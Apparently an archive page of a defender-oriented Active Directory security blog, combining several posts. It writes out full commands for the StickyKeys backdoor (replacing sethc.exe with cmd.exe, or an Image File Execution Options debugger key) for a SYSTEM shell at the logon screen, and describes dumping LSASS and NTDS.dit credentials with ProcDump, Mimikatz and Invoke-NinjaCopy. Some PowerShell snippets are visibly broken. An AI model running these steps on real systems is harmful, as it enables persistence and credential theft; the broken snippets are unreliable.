PowerShell Code: Check KRBTGT Domain Kerberos Account Last Password Change

From my GitHub Repo: Get-PSADForestKRBTGTInfo

 This function discovers all of the KRBTGT accounts in the forest using ADSI and returns the account info, specifically the last password change.

Currently, the script performs the following actions:
* Queries a Global Catalog in the Active Directory root domain for all KRBTGT accounts in the forest by querying the Global Catalog for SPN info.
* Provides information about all of the KRBTGT accounts in the forest, specifically the last password change.

REQUIRES: Active Directory user authentication. Standard user access is fine – admin access is not necessary.


Mandiant MIRCon 2014 Presentation Slides

Using some Google-Fu, I was able to find some MIRCon 2014 presentation slides (sorry, no videos yet).
Mandiant MIRCon 2014 Presentation Slides:

Hack Attack Method Whitepapers

The best way to develop the best defense is to study the offense’s methods.

Here are several recent reports that detail current modern network attacks:

The Ultimate Movie Hacking Tool – Command Shell at Windows Logon Screen (via “StickyKeys”)

How many times have you seen a movie where the “hacker” connects to a system with a logon screen, hits a couple of keys, and gets a command shell. Here’s how this can be done for real in Windows.

The issue is that the Windows Ease of Use tools are accessible at the logon screen. Replacing the valid command(s) with a copy of cmd.exe provides a hidden command shell when pressing the right key combo (for example, pressing shift over and over again for “sticky keys”).

Here’s how to “hack the Windows logon screen” using an existing logged in privileged account.

Open a command prompt in Windows as an administrator and run the following commands:

cd windows\system32

icacls c:\windows\system32\sethc.exe /save c:\windows\system32\sethc.ACLFile /T
takeown /f sethc.exe
icacls sethc.exe /grant administrators:f

icacls c:\windows\system32\cmd.exe /save c:\windows\system32\cmd.ACLFile /T
takeown /f cmd.exe
icacls cmd.exe /grant administrators:f

copy c:\windows\system32\sethc.exe c:\windows\system32\sethcexe.BAK
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

Note that this can also be set via a registry enttry:

Open Regedit and browse to:  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
Create a new key called “sethc.exe”
Under this new key, create a new string value (REG_SZ) and call it “Debugger”
Modify this value to be “C:\windows\system32\cmd.exe”

Note that the winlogon process will kill the cmd window invoked through this method after a short amount of time.

You can now open the command prompt by pressing the Shift key about 5 to 10 times at the logon screen to open command prompt as SYSTEM.

To restore the files and permissions, open a command window as administrator and run the following:

copy c:\windows\system32\sethcexe.BAK c:\windows\system32\sethc.exe

icacls c:\windows\system32\sethc.exe /restore c:\windows\system32\sethc.ACLFile /T

icacls c:\windows\system32\cmd.exe /restore c:\windows\system32\cmd.ACLFile /T


How Attackers Extract Credentials (Hashes) From LSASS

I performed extensive research on how attackers dump credentials from LSASS and Active Directory, including pulling the Active Directory database (ntds.dit) remotely. This information is covered in two newer and greatly expanded posts:


Attackers can pull credentials from LSASS using a variety of techniques:

  1. Dump the LSASS process from memory to disk using Sysinternals ProcDump. Since ProcDump is a signed Microsoft utility, AV usually doesn’t trigger on it. ProcDump creates a minidump of the target process from which Mimikatz can extract credentials.
  2. The legitimate VMWare tool Vmss2core can be used to dump memory from a suspended VM (*.vmss) or saved VM (*.vmsn) file. The Volatility Framework can extract the hashes.


We all love grabbing credentials from Window machines that we have compromised, wether they are in clear-text or hashes. Sometimes, however, it is not possible to get those credentials immediately if at all. In this tutorial I want to briefly show two cases where you can dump memory to disk (exfiltrate it) and extract the credentials at a later time. I will demonstrate these test cases on a 32-bit Windows 7 VM that I use for testing purposes, these techniques should however apply to a wide variety of Windows builds.

ProcDump // Windows Sysinternals – here
Mimikatz // Blog de Gentil Kiwi – here
The Volatility Foundation // Homepage – here
Vmss2core // VMWare Labs – here
VMware Snapshot and Saved State Analysis // Volatility Labs – here

Read the details at FuzzySecurity.com


How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller

I performed extensive research on how attackers dump AD credentials, including pulling the Active Directory database (ntds.dit) remotely. This information is covered in two newer and greatly expanded posts:


The original post data follows:

How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller:

Step 1: Create Volume Shadow Copy (VSS):

I recently performed an internal penetration test where the NTDS.dit file got me thousands of password hashes. After compromising unpatched Microsoft Windows computers on the client’s domain, I gained access to a number of domain accounts. Below I’ll explain how I did it.

The client had two domain controllers, one Windows 2003 and one Windows 2008. One of the domain accounts obtained via other means (not described by this post) had rights to log-on locally on both domain controllers.

I attempted to dump the Active Directory database, but I couldn’t get the SAM file through my usual methods. Eventually, and after much effort, I got the SAM file but found it only contained one hash.

The following actions allowed me to obtain the Active Directory password hashes. This method will work on Windows 2003, Windows 2008 and Windows 2012 servers.

The NTDS.dit file is the Active Directory database. It stores all Active Directory information including password hashes.

I recreated the scenario, to demonstrate it on a Windows 2012 server.

Read the rest at the SpiderLabs Blog

OR use PowerShell:  “Using PowerShell to Copy NTDS.dit / Registry Hives, Bypass SACL’s / DACL’s / File Locks”:

Currently there are a few ways to dump Active Directory and local password hashes. Until recently, the techniques I had seen used to get the hashes either relied on injecting code in to LSASS or using the Volume Shadow Copy service to obtain copies of the files which contain the hashes. I have created a PowerShell script called Invoke-NinjaCopy that allows any file (including NTDS.dit) to be copied without starting suspicious services, injecting in to processes, or elevating to SYSTEM. But first, a little background.

A few months back I saw this awesome blog post: http://www.josho.org/blog/blog/2013/03/07/samex/. Rather than attempting to read files using the Win32 API (which enforces things such as read handle locks, SACL, DACL, etc.), the author wrote a tool that obtains a read handle to the C volume (something an administrator account can do). This gives him the ability to read the raw bytes of the entire volume. The tool then parses the NTFS structures on the C volume, determines where on the volume the bytes for a particular file reside, scans to the location and copies the files bytes. This allows the tool to get access to files even though LSASS has the file locked, and doesn’t require starting the Volume Shadow Copy service (which might look suspicious if it isn’t normally used).

I wanted something a little more generic (SAMex only dumps files related to password hashes on the C volume): a tool that allows me to copy any file on any volume. I want to be able to make copies of NTDS.dit and registry hives, but also any other file (such as a file protected by a SACL). I also want the tool to be written in PowerShell so it can be run remotely without writing hacker tools to disk.

Initially, I was going to write a parser in PowerShell, but then I realized there are already NTFS parsers written in C++ such as this one: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib. Rather than write an NTFS parser in PowerShell, it made a lot more sense to compile an existing NTFS parser as a DLL and load it up in Invoke-ReflectivePEInjection.

I was able to get the NTFS parser loaded up in PowerShell in several hours, which goes to show how easy and fast it is to turn existing native code applications in to sneaky PowerShell tools.

The result is Invoke-NinjaCopy. A PowerShell script capable of copying NTDS.dit, Registry hives, and any other file sitting on an NTFS volume by obtaining a read handle to the volume and parsing NTFS. This does not require elevating to SYSTEM, injecting in to SYSTEM processes, or starting new services/suspicious programs.

Read the rest at Joe Bialok’s Blog about Invoke-NinjaCopy that is part of PowerSploit



Black Hat 2014 Presentation Video Play List

Attending Black Hat USA 2014 was a sobering and exciting experience.

Here’s a playlist of interesting presentations from Black Hat conferences in 2014:




BackupExec Service Account Security FAIL

Yes. It actually says that if the BackupExec account is a member of Schema Admins, do not remove!
To be fair, it starts off with this Solution which covers the rights required:
From Symantec (http://www.symantec.com/business/support/index?page=content&id=TECH88242)

Continue reading

PowerShell Code: ADSI Convert Domain Distinguished Name to Fully Qualified Domain Name

Convert Domain Distinguished Name to Fully Qualified Domain Name:
$ADObjectDN = “CN=Object1,OU=OrgUnit1,DC=child,DC=domain,DC=com”
[array]$ADObjectDNArray = $ADObjectDN -Split(“,DC=”)
        [int]$DomainNameFECount = 0
        ForEach ($ADObjectDNArrayItem in $ADObjectDNArray)
                IF ($DomainNameFECount -gt 0)
                { [string]$ADObjectDNArrayItemDomainName += $ADObjectDNArrayItem + “.” }
$ADObjectDNDomainName = $ADObjectDNArrayItemDomainName.Substring(0,$ADObjectDNArrayItemDomainName.Length-1)
Convert Domain Fully Qualified Domain Name to Distinguished Name:
$DomainFullyQualifiedDomainName = “child.domain.com”
$DomainFullyQualifiedDomainNameArray = $DomainFullyQualifiedDomainName -Split(“\.”)
[int]$DomainNameFECount = 0
ForEach ($DomainFullyQualifiedDomainNameArrayItem in $DomainFullyQualifiedDomainNameArray)
    IF ($DomainNameFECount -eq 0)
        { [string]$ADObjectDNArrayItemDomainName += “DC=” +$DomainFullyQualifiedDomainNameArrayItem }
        { [string]$ADObjectDNArrayItemDomainName += “,DC=” +$DomainFullyQualifiedDomainNameArrayItem }
$DomainDN = “DC=$($Domain.replace(“.”, “,DC=”))”
(thanks Bill!)
Extract the Domain Distinguished Name From an Active Directory Distinguished Name:
$ADObjectDN = “CN=Object1,OU=OrgUnit1,DC=child,DC=domain,DC=com”
[array]$ADObjectDNArray = $ADObjectDN -Split(“,DC=”)
        [int]$DomainNameFECount = 0
        ForEach ($ADObjectDNArrayItem in $ADObjectDNArray)
                IF ($DomainNameFECount -gt 0)
                { [string]$ADObjectDNArrayItemDomainName += $ADObjectDNArrayItem + “.” }
$ADObjectDNDomainName = $ADObjectDNArrayItemDomainName.Substring(0,$ADObjectDNArrayItemDomainName.Length-1)

Virtualization Updates to Active Directory 2012

As part of the many updates to Active Directory, one of the most interesting is virtualization safeguarding in Windows Server 2012.

Active Directory Domain Controllers running Windows Server 2012 can now identify if they are virtualized and have been improperly restored or cloned (copied). Windows Server 2012 introduces a new feature called the VM Generation ID which is used to track the virtual machine (VM) on which the OS is running. When a new VM is created in a hypervisor that supports the feature (Hyper-V 2012 & VMWare vSphere 5.1), a VM Generation ID is created by the hypervisor and associated with the VM as the unique VM guest identifier. The VM Generation ID is a 128-bit cryptographically random  integer that changes when the VM’s configuration file changes. The virtual machine’s BIOS provides the VM Generation ID to the OS in an 8-byte aligned buffer in guest RAM, ROM, or device memory space which can be queried via ACPI namspace with a compatible ID of “VM Gen Counter” (also a DOS Device Name of “VM_Gen_Counter”. When the generation ID changes, there is an ACPI Notify operation on the generation ID device ID device using notification code 0x80 (an ACPI GPE can triger this notification).

Continue reading